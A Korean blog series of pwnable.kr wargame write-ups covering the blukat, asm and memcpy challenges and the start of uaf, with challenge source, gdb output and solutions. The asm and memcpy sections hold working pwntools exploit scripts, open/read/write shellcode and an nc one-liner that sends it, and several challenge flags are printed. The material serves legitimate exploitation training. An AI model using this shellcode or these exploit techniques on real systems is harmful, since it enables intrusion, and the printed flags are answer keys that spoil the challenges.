[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 존재
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - blukat.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\\rG[S/%\\x1c\\x1d#0?\\rIS\\x0f\\x1c\\x1d\\x18;,4\\x1b\\x00\\x1bp;5\\x0b\\x1b\\x08\\x45+";
void calc_flag(char* s){
	int i;
	for(i=0; i<strlen(s); i++){
		flag[i] = s[i] ^ key[i];
	}
	printf("%s\\n", flag);
}
int main(){
	FILE* fp = fopen("/home/blukat/password", "r");
	fgets(password, 100, fp);
	char buf[100];
	printf("guess the password!\\n");
	fgets(buf, 128, stdin);
	if(!strcmp(password, buf)){
		printf("congrats! here is your flag: ");
		calc_flag(password);
	}
	else{
		printf("wrong guess!\\n");
		exit(0);
	}
	return 0;
}
  • password 파일을 fp에 읽어와서 password 변수에 넣음
  • fgets 함수로 buf에 사용자의 입력을 받음 → buf는 100byte이나 128byte만큼 입력해 BOF 발생(그치만 카나리 걸려있어서 안먹힐 것 같긴함)
  • password와 buf 값이 일치하면 calc_flag 함수를 호출하면서 flag를 출력해줌
  • calc_flag 함수에서는 password를 byte 단위로 key의 1byte와 xor 연산하여 반환함

 

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x00000000004005b8  _init
0x00000000004005f0  puts@plt
0x0000000000400600  strlen@plt
0x0000000000400610  __stack_chk_fail@plt
0x0000000000400620  printf@plt
0x0000000000400630  __libc_start_main@plt
0x0000000000400640  fgets@plt
0x0000000000400650  strcmp@plt
0x0000000000400660  fopen@plt
0x0000000000400670  exit@plt
0x0000000000400690  _start
0x00000000004006c0  deregister_tm_clones
0x0000000000400700  register_tm_clones
0x0000000000400740  __do_global_dtors_aux
0x0000000000400760  frame_dummy
**0x0000000000400786  calc_flag
0x00000000004007fa  main**
0x00000000004008c0  __libc_csu_init
0x0000000000400930  __libc_csu_fini
0x0000000000400934  _fini
gdb-peda$ info variables
All defined variables:

Non-debugging symbols:
0x0000000000400940  _IO_stdin_used
0x00000000004009c4  __GNU_EH_FRAME_HDR
0x0000000000400b18  __FRAME_END__
0x0000000000600e10  __frame_dummy_init_array_entry
0x0000000000600e10  __init_array_start
0x0000000000600e18  __do_global_dtors_aux_fini_array_entry
0x0000000000600e18  __init_array_end
0x0000000000600e20  __JCR_END__
0x0000000000600e20  __JCR_LIST__
0x0000000000600e28  _DYNAMIC
0x0000000000601000  _GLOBAL_OFFSET_TABLE_
0x0000000000601060  __data_start
0x0000000000601060  data_start
0x0000000000601068  __dso_handle
**0x0000000000601070  key**
0x0000000000601078  __TMC_END__
0x0000000000601078  __bss_start
0x0000000000601078  _edata
0x0000000000601080  stdin
0x0000000000601080  stdin@@GLIBC_2.2.5
0x0000000000601088  completed
**0x00000000006010a0  password
0x0000000000601120  flag**
0x0000000000601188  _end
  • 전역 변수로 선언되어 있는 key, password, flag를 확인할 수 있음

 

  • fopen 함수를 호출하는 부분에 bp를 걸어 반환 값을 확인해봄
    • open에 성공하면 pointer 값을 반환한다고 하니 fp의 값이 반환된 것이 아닐까 추측할 수 있음

 

  • fgets 함수를 통해 password 변수로 값을 옮기는데, password에 “cat: password: Permission denied\n” 문자열이 들어감
    → 이거 보고 password 파일을 못 읽어온 거라고 생각했는데…………. 뭔가 이상함
  • 원래는 파일 내용을 못읽어오면 fopen함수에서 null을 반환해야 함. 앞에서는 fopen이 잘돼서 포인터 값을 rax에 받아왔는데, permission denied가 뜬다..?

  • 파일을 다시 확인해봄 → blukat_pwn 권한으로만 읽을 수 있는데.. 정말 이상하다 싶어서 id 명령 사용해봄

  • 아놔; blukat_pwn 권한이 있었다. 그럼 password 파일을 정상적으로 읽었다는 건데, password 파일 속 내용이 error 메시지가 아니라 그냥 진짜 password 내용이었다 ……………………

아 진짜 어이없다 ..……………………… michin


flag

🍒 Pl3as_DonT_Miss_youR_GrouP_Perm!!

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] asm  (0) 2023.02.26
[Pwnable.kr] memcpy  (0) 2022.10.15
[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 존재

 

바이너리 실행-asm

 

readme

once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

 

소스코드 분석 - asm.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\\x48\\x31\\xc0\\x48\\x31\\xdb\\x48\\x31\\xc9\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\x31\\xff\\x48\\x31\\xed\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x4d\\x31\\xd2\\x4d\\x31\\xdb\\x4d\\x31\\xe4\\x4d\\x31\\xed\\x4d\\x31\\xf6\\x4d\\x31\\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

 

소스코드 분석 - asm.c - sandbox

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); //필터 규칙과 일치하는 Syscall 호출 시 커널에 의해 종료됨(초기화)
	if (ctx == NULL) {
		printf("seccomp error\\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); 
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
//open, read, write, exit 함수 호출 가능

	if (seccomp_load(ctx) < 0){ //설정한 필터 규칙을 커널에 로드해 필터 활성화(필터 규칙 활성화)
		seccomp_release(ctx); //필터 상태를 해제하고 연관된 메모리 해제(필터 규칙 해제)
		printf("seccomp error\\n");
		exit(0);
	}
	seccomp_release(ctx);
}
  • seccomp으로 특정 시스템 콜만 사용할 수 있도록 필터링 작업을 수행하고 있음
  • shellcode 실행 전 sandbox에서 필터링 됨

 

소스코드 분석 - asm.c - main

char stub[] = "\\x48\\x31\\xc0\\x48\\x31\\xdb\\x48\\x31\\xc9\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\x31\\xff\\x48\\x31\\xed\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x4d\\x31\\xd2\\x4d\\x31\\xdb\\x4d\\x31\\xe4\\x4d\\x31\\xed\\x4d\\x31\\xf6\\x4d\\x31\\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}
  • stub에 shellcode가 넣어져있는 것 같음
  • stub 값을 sh에 복사하고 있음
  • stub size만큼이 offset으로 설정됨
  • sh+offset에 1000byte만큼 사용자의 입력을 받음
  • /home/asm_pwn이 root directory가 됨
  • sandbox 함수 호출

 

gdb 분석 - stub 위치 확인

  • stub은 0x2020c0에 저장됨

  • rsp를 제외한 모든 레지스터를 초기화하는 코드임을 알 수 있음

 

gdb 분석 - main

gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000000000000d64 <+0>:	push   rbp
   0x0000000000000d65 <+1>:	mov    rbp,rsp
   0x0000000000000d68 <+4>:	sub    rsp,0x20
   0x0000000000000d6c <+8>:	mov    DWORD PTR [rbp-0x14],edi
   0x0000000000000d6f <+11>:	mov    QWORD PTR [rbp-0x20],rsi
   0x0000000000000d73 <+15>:	mov    rax,QWORD PTR [rip+0x201256]        # 0x201fd0
   0x0000000000000d7a <+22>:	mov    rax,QWORD PTR [rax]
   0x0000000000000d7d <+25>:	mov    ecx,0x0
   0x0000000000000d82 <+30>:	mov    edx,0x2
   0x0000000000000d87 <+35>:	mov    esi,0x0
   0x0000000000000d8c <+40>:	mov    rdi,rax
   0x0000000000000d8f <+43>:	call   0xaf0 <setvbuf@plt>
   0x0000000000000d94 <+48>:	mov    rax,QWORD PTR [rip+0x20123d]        # 0x201fd8
   0x0000000000000d9b <+55>:	mov    rax,QWORD PTR [rax]
   0x0000000000000d9e <+58>:	mov    ecx,0x0
   0x0000000000000da3 <+63>:	mov    edx,0x1
   0x0000000000000da8 <+68>:	mov    esi,0x0
   0x0000000000000dad <+73>:	mov    rdi,rax
   0x0000000000000db0 <+76>:	call   0xaf0 <setvbuf@plt>
   0x0000000000000db5 <+81>:	lea    rdi,[rip+0x18c]        # 0xf48
   0x0000000000000dbc <+88>:	call   0xa40 <puts@plt>
   0x0000000000000dc1 <+93>:	lea    rdi,[rip+0x1b0]        # 0xf78
   0x0000000000000dc8 <+100>:	call   0xa40 <puts@plt>
   0x0000000000000dcd <+105>:	lea    rdi,[rip+0x1f4]        # 0xfc8
   0x0000000000000dd4 <+112>:	call   0xa40 <puts@plt>
   0x0000000000000dd9 <+117>:	lea    rdi,[rip+0x240]        # 0x1020
   0x0000000000000de0 <+124>:	call   0xa40 <puts@plt>
   0x0000000000000de5 <+129>:	mov    r9d,0x0
   0x0000000000000deb <+135>:	mov    r8d,0x0
   0x0000000000000df1 <+141>:	mov    ecx,0x32
   0x0000000000000df6 <+146>:	mov    edx,0x7
   0x0000000000000dfb <+151>:	mov    esi,0x1000
   0x0000000000000e00 <+156>:	mov    edi,0x41414000
   0x0000000000000e05 <+161>:	call   0xa70 <mmap@plt>
   0x0000000000000e0a <+166>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000000e0e <+170>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000e12 <+174>:	mov    edx,0x1000
   0x0000000000000e17 <+179>:	mov    esi,0x90
   0x0000000000000e1c <+184>:	mov    rdi,rax
   0x0000000000000e1f <+187>:	call   0xaa0 <memset@plt>
   0x0000000000000e24 <+192>:	lea    rax,[rip+0x201295]        # 0x2020c0 <stub>
   0x0000000000000e2b <+199>:	mov    rdi,rax
   0x0000000000000e2e <+202>:	call   0xa60 <strlen@plt>
   0x0000000000000e33 <+207>:	mov    rdx,rax
   0x0000000000000e36 <+210>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000e3a <+214>:	lea    rcx,[rip+0x20127f]        # 0x2020c0 <stub>
   0x0000000000000e41 <+221>:	mov    rsi,rcx
   0x0000000000000e44 <+224>:	mov    rdi,rax
   0x0000000000000e47 <+227>:	call   0xae0 <memcpy@plt>
   0x0000000000000e4c <+232>:	mov    DWORD PTR [rbp-0xc],0x2e
   0x0000000000000e53 <+239>:	lea    rdi,[rip+0x209]        # 0x1063
   0x0000000000000e5a <+246>:	mov    eax,0x0
   0x0000000000000e5f <+251>:	call   0xa80 <printf@plt>
   0x0000000000000e64 <+256>:	mov    eax,DWORD PTR [rbp-0xc]
   0x0000000000000e67 <+259>:	movsxd rdx,eax
   0x0000000000000e6a <+262>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000e6e <+266>:	add    rax,rdx
   0x0000000000000e71 <+269>:	mov    edx,0x3e8
   0x0000000000000e76 <+274>:	mov    rsi,rax
   0x0000000000000e79 <+277>:	mov    edi,0x0
   0x0000000000000e7e <+282>:	call   0xac0 <read@plt>
   0x0000000000000e83 <+287>:	mov    edi,0xa
   0x0000000000000e88 <+292>:	call   0xab0 <alarm@plt>
   0x0000000000000e8d <+297>:	lea    rdi,[rip+0x1ec]        # 0x1080
   0x0000000000000e94 <+304>:	call   0xa20 <chroot@plt>
   0x0000000000000e99 <+309>:	mov    eax,0x0
   0x0000000000000e9e <+314>:	call   0xc50 <sandbox>
   0x0000000000000ea3 <+319>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000ea7 <+323>:	call   rax
   0x0000000000000ea9 <+325>:	mov    eax,0x0
   0x0000000000000eae <+330>:	leave  
   0x0000000000000eaf <+331>:	ret    
End of assembler dump.

 

문제 해결

💡 shellcode를 실행하기 위한 assembly programming을 수행하면 될 것
  • SECCOMP으로 open, write, read 함수만 이용할 수 있도록 제한해두었기 때문에 system 함수를 사용할 수 없음
  • flag 파일을 open 함수로 열어서 read 함수로 읽고, write 함수로 출력하도록 작성하면 될 것 같음
  • shellcraft로 shellcode를 만들 수 있어서 해당 기능을 사용해봄

 

Exploit - Shellcraft

from pwn import *

p =remote('pwnable.kr', 9026)
context(arch='amd64', os='linux')
flag = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"

shellcode = shellcraft.pushstr(flag)
shellcode += shellcraft.open('rsp',0,0)
shellcode += shellcraft.read('rax','rsp', 100)
shellcode += shellcraft.write(1,'rsp',100)

p.recvuntil("shellcode:")
p.send(asm(shellcode))
print (p.recvall())
p.interactive()

 

  • 다른 분들 payload 좀 더 찾아봄
p_filename = 0x41414200 
p_flag = 0x41414300 

pay='' 
pay += asm(shellcraft.amd64.linux.syscall('SYS_read',0,p_filename,0x100)) 
pay += asm(shellcraft.amd64.linux.syscall('SYS_open',p_filename,0,0x400)) 
pay += asm(shellcraft.amd64.linux.syscall('SYS_read','rax',p_flag,0x200) )
pay += asm(shellcraft.amd64.linux.syscall('SYS_write',1,p_flag,0x300))  
payload = pay.encode('hex')
print payload 

payload = payload.decode('hex')   

cn.send(payload)cn.send(filename)  
print cn.recvuntil('\\x0a')

 출처: <https://nroses-taek.tistory.com/151>

 

shellcode 제작 - 다른 분 풀이 참고함

어떻게 짜는건지.. pwnable.kr - asm

global _start

_start :

        mov al, 0x2
        mov rdi, 0x41414050
        syscall

        push rax
        pop rdi
        mov rsi, 0x41414400
        mov dx, 0x100
        xor rax, rax
        syscall

        xor rax, rax
        mov al, 0x1
        push rax
        pop rdi
        syscall
-------------------------------------------
global _start
_start:
        mov al, 0x2
        mov rdi, 0x41414050 //이 주소에 넣어야 하는걸 어떻게 알지?
        syscall
 
        push rax
        pop rdi
        mov rsi, 0x41414710
        mov dx, 0x111
        xor rax, rax
        syscall
 
        xor rax, rax
        mov al, 0x1
        push rax
        pop rdi
        syscall

💡 hexdump -v -e '"\\""x" 1/1 "%02x" ""' a.out
  • 오 이렇게 쓰면 \x 붙여서 출력할 수 있는 것 같다!
(python -c 'print "\\xb0\\x02\\xbf\\x50\\x40\\x41\\x41\\x0f\\x05\\x50\\x5f\\xbe\\x00\\x44\\x41\\x41\\x66\\xba\\x00\\x01\\x48\\x31\\xc0\\x0f\\x05\\x48\\x31\\xc0\\xb0\\x01\\x50\\x5f\\x0f\\x05" + "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\\x00\\x00"'; cat) | nc 0 9026


flag

🍒  Mak1ng_shelLcodE_i5_veRy_eaSy

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] blukat  (0) 2023.02.27
[Pwnable.kr] memcpy  (0) 2022.10.15
[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15

[문제]


[풀이]

memcpy.pptx
18.54MB

 

 

→ 발표자료 만들다가 가져옴

readme

binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.

  • 실제 flag가 포함된 바이너리는 9022에서 memcpy_pwn 권한으로 실행되고 있다고 함

  • local에서는 flag 부분까지 잘출력되는데, 서버에서는 중간에 멈춰버림
  • 음.. 뭔가.. 로컬에서는 대부분 slow_memcpy가 시간이 매우 많이 걸리는데, 서버꺼는 별 차이가 없거나 오히려 fast_memcpy가 오래 걸리는 경우가 다수 보임

 

소스코드 분석 - memcpy.c

// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
        asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
	int i;
	for (i=0; i<len; i++) {
		dest[i] = src[i];
	}
	return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
	size_t i;
	// 64-byte block fast copy
	if(len >= 64){
		i = len / 64;
		len &= (64-1);
		while(i-- > 0){
			__asm__ __volatile__ (
			"movdqa (%0), %%xmm0\\n"
			"movdqa 16(%0), %%xmm1\\n"
			"movdqa 32(%0), %%xmm2\\n"
			"movdqa 48(%0), %%xmm3\\n"
			"movntps %%xmm0, (%1)\\n"
			"movntps %%xmm1, 16(%1)\\n"
			"movntps %%xmm2, 32(%1)\\n"
			"movntps %%xmm3, 48(%1)\\n"
			::"r"(src),"r"(dest):"memory");
			dest += 64;
			src += 64;
		}
	}

	// byte-to-byte slow copy
	if(len) slow_memcpy(dest, src, len);
	return dest;
}

int main(void){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Hey, I have a boring assignment for CS class.. :(\\n");
	printf("The assignment is simple.\\n");

	printf("-----------------------------------------------------\\n");
	printf("- What is the best implementation of memcpy?        -\\n");
	printf("- 1. implement your own slow/fast version of memcpy -\\n");
	printf("- 2. compare them with various size of data         -\\n");
	printf("- 3. conclude your experiment and submit report     -\\n");
	printf("-----------------------------------------------------\\n");

	printf("This time, just help me out with my experiment and get flag\\n");
	printf("No fancy hacking, I promise :D\\n");

	unsigned long long t1, t2;
	int e;
	char* src;
	char* dest;
	unsigned int low, high;
	unsigned int size;
	// allocate memory
	char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size_t sizes[10];
	int i=0;

	// setup experiment parameters
	for(e=4; e<14; e++){	// 2^13 = 8K
		low = pow(2,e-1);
		high = pow(2,e);
		printf("specify the memcpy amount between %d ~ %d : ", low, high);
		scanf("%d", &size);
		if( size < low || size > high ){
			printf("don't mess with the experiment.\\n");
			exit(0);
		}
		sizes[i++] = size;
	}

	sleep(1);
	printf("ok, lets run the experiment with your configuration\\n");
	sleep(1);

	// run experiment
	for(i=0; i<10; i++){
		size = sizes[i];
		printf("experiment %d : memcpy with buffer size %d\\n", i+1, size);
		dest = malloc( size );

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		slow_memcpy(dest, src, size);		// byte-to-byte memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for slow_memcpy : %llu\\n", t2-t1);

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		fast_memcpy(dest, src, size);		// block-to-block memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for fast_memcpy : %llu\\n", t2-t1);
		printf("\\n");
	}

	printf("thanks for helping my experiment!\\n");
	printf("flag : ----- erased in this source code -----\\n");
	return 0;
}

하나씩 뜯어보자

rdtsc 함수

unsigned long long rdtsc(){
        asm("rdtsc");
}

 

main 함수-1

int main(void){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Hey, I have a boring assignment for CS class.. :(\\n");
	printf("The assignment is simple.\\n");

	printf("-----------------------------------------------------\\n");
	printf("- What is the best implementation of memcpy?        -\\n");
	printf("- 1. implement your own slow/fast version of memcpy -\\n");
	printf("- 2. compare them with various size of data         -\\n");
	printf("- 3. conclude your experiment and submit report     -\\n");
	printf("-----------------------------------------------------\\n");

	printf("This time, just help me out with my experiment and get flag\\n");
	printf("No fancy hacking, I promise :D\\n");

	unsigned long long t1, t2;
	int e;
	char* src;
	char* dest;
	unsigned int low, high;
	unsigned int size;
	// allocate memory
	char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size_t sizes[10];
	int i=0;

mmap의 사용

  • cache1,2
    • 0x4000만큼 다른 프로세스와 대응 영역을 공유하지 않고, 읽고 쓰고 실행이 모두 가능한 것으로 보임.
    • MAP_ANONYMOUS는 어떠한 파일하고도 연결되지 않고 0으로 초기화된 영역으로 fd는 무시되지만 어떤 경우에는 -1이 요구된다고 함
    • offset는 0으로 고정한다고 함!
    • http://jake.dothome.co.kr/user-virtual-maps-mmap2/
  • src는 cache와 같은 방법으로 0x2000만큼 매핑

 

main 함수-2

	size_t sizes[10];
	int i=0;

	// setup experiment parameters
	for(e=4; e<14; e++){	// 2^13 = 8K
		low = pow(2,e-1);
		high = pow(2,e);
		printf("specify the memcpy amount between %d ~ %d : ", low, high);
		scanf("%d", &size);
		if( size < low || size > high ){
			printf("don't mess with the experiment.\\n");
			exit(0);
		}
		sizes[i++] = size;
	}

	sleep(1);
	printf("ok, lets run the experiment with your configuration\\n");
	sleep(1);
  • 2^4~2^13의 범위에서 memcpy amount를 사용자로부터 입력 받음
  • size가 low와 high 사이에 없으면 바이너리가 종료됨
  • 10번 수행하고 끝내는 것으로 보임

 

main 함수-3

	// run experiment
	for(i=0; i<10; i++){
		size = sizes[i];
		printf("experiment %d : memcpy with buffer size %d\\n", i+1, size);
		dest = malloc( size );

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		slow_memcpy(dest, src, size);		// byte-to-byte memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for slow_memcpy : %llu\\n", t2-t1);

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		fast_memcpy(dest, src, size);		// block-to-block memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for fast_memcpy : %llu\\n", t2-t1);
		printf("\\n");
	}

	printf("thanks for helping my experiment!\\n");
	printf("flag : ----- erased in this source code -----\\n");
	return 0;
}
  • 입력한 size만큼 malloc으로 할당하여 dest에 저장함
  • slow_memcpy함수를 실행하기 전 시간과, 실행 후 시간을 측정해 slow_memcpy cycle이 도는 시간을 반환해줌
    • fast_memcpy도 마찬가지

 

slow_memcpy

char* slow_memcpy(c]har* dest, const char* src, size_t len){
	int i;
	for (i=0; i<len; i++) {
		dest[i] = src[i];
	}
	return dest;
}
  • 1바이트씩 직접 매핑하고 있음

 

fast_memcpy

char* fast_memcpy(char* dest, const char* src, size_t len){
	size_t i;
	// 64-byte block fast copy
	if(len >= 64){
		i = len / 64;
		len &= (64-1);
		while(i-- > 0){
			__asm__ __volatile__ ( //프로그래머가 코딩한 순서대로 assemble 됨
			"movdqa (%0), %%xmm0\\n"
			"movdqa 16(%0), %%xmm1\\n"
			"movdqa 32(%0), %%xmm2\\n"
			"movdqa 48(%0), %%xmm3\\n"
			"movntps %%xmm0, (%1)\\n"
			"movntps %%xmm1, 16(%1)\\n"
			"movntps %%xmm2, 32(%1)\\n"
			"movntps %%xmm3, 48(%1)\\n"
			::"r"(src),"r"(dest):"memory");
			dest += 64;
			src += 64;
		}
	}

	// byte-to-byte slow copy
	if(len) slow_memcpy(dest, src, len);
	return dest;
}

 

문제 해결

💡 xmm 레지스터들에 의해 메모리에 저장되는데, 해당 주소가 16byte 단위로 저장되는 지 확인해볼 것
  • 레지스터의 값들이 저장되는 곳은 dest임
    • dest 주소를 확인하는 과정이 필요함 → gdb / printf로 출력
  • local에서 컴파일 했을 때에는 멀쩡했음(해당 취약점은 ubuntu 16.04까지에서만 통함. 이후 버전의 로컬 환경에서 컴파일하면 memory를 자동적으로 align해줘서 flag까지 출력됨)

  • 서버에서 확인한 결과 experiment 3와 5에서 이상함을 감지함
    • 원래라면 16byte 단위이기 때문에 0x10씩 늘어나야 함
    • 즉, experiment 1의 시작이 0으로 끝났다면 모두 0으로 끝나야 한다는 소리임
    • experiment2와 3을 살펴보면 0x8889420 → 0x8889438임
    • 16byte만큼 추가됐는데, 총 늘어난 크기는 24byte임
    • 8byte가 더 추가된 것
    • 내가 넣은 값에 대해서 8byte씩 추가하고 있으므로 입력 값 자체를 8byte씩 더 입력해주면 됨

  • 오! 64를 입력하는 부분부터 8byte씩 추가로 입력해줬더니 flag 부분이 출력됨

 

Exploit Code - Pwntools

from pwn import *

p = remote('pwnable.kr', 9022)

p.recvuntil("8 ~ 16 : ")
p.sendline("8")

p.recvuntil(" : ")
p.sendline("16")

p.recvuntil(" : ")
p.sendline("32")

p.recvuntil(" : ")
p.sendline("72")

p.recvuntil(" : ")
p.sendline("136")

p.recvuntil(" : ")
p.sendline("264")

p.recvuntil(" : ")
p.sendline("520")

p.recvuntil(" : ")
p.sendline("1032")

p.recvuntil(" : ")
p.sendline("2056")

p.recvuntil(" : ")
p.sendline("4104")

p.recvuntil("flag : ")
print p.recv(1000)
p.interactive()


flag

🍒 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] blukat  (0) 2023.02.27
[Pwnable.kr] asm  (0) 2023.02.26
[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - uaf.cpp

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\\n2. after\\n3. free\\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

Use After Free(UAF)

GEF(GDB Enhanced Features)

→ gdb에서 heap 관련해서 확인할 때 peda나 pwndbg와 같은 플러그인이 있다고 한다~ chunk 확인에 유용해보임

 

정적분석

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x0000000000400c28  _init
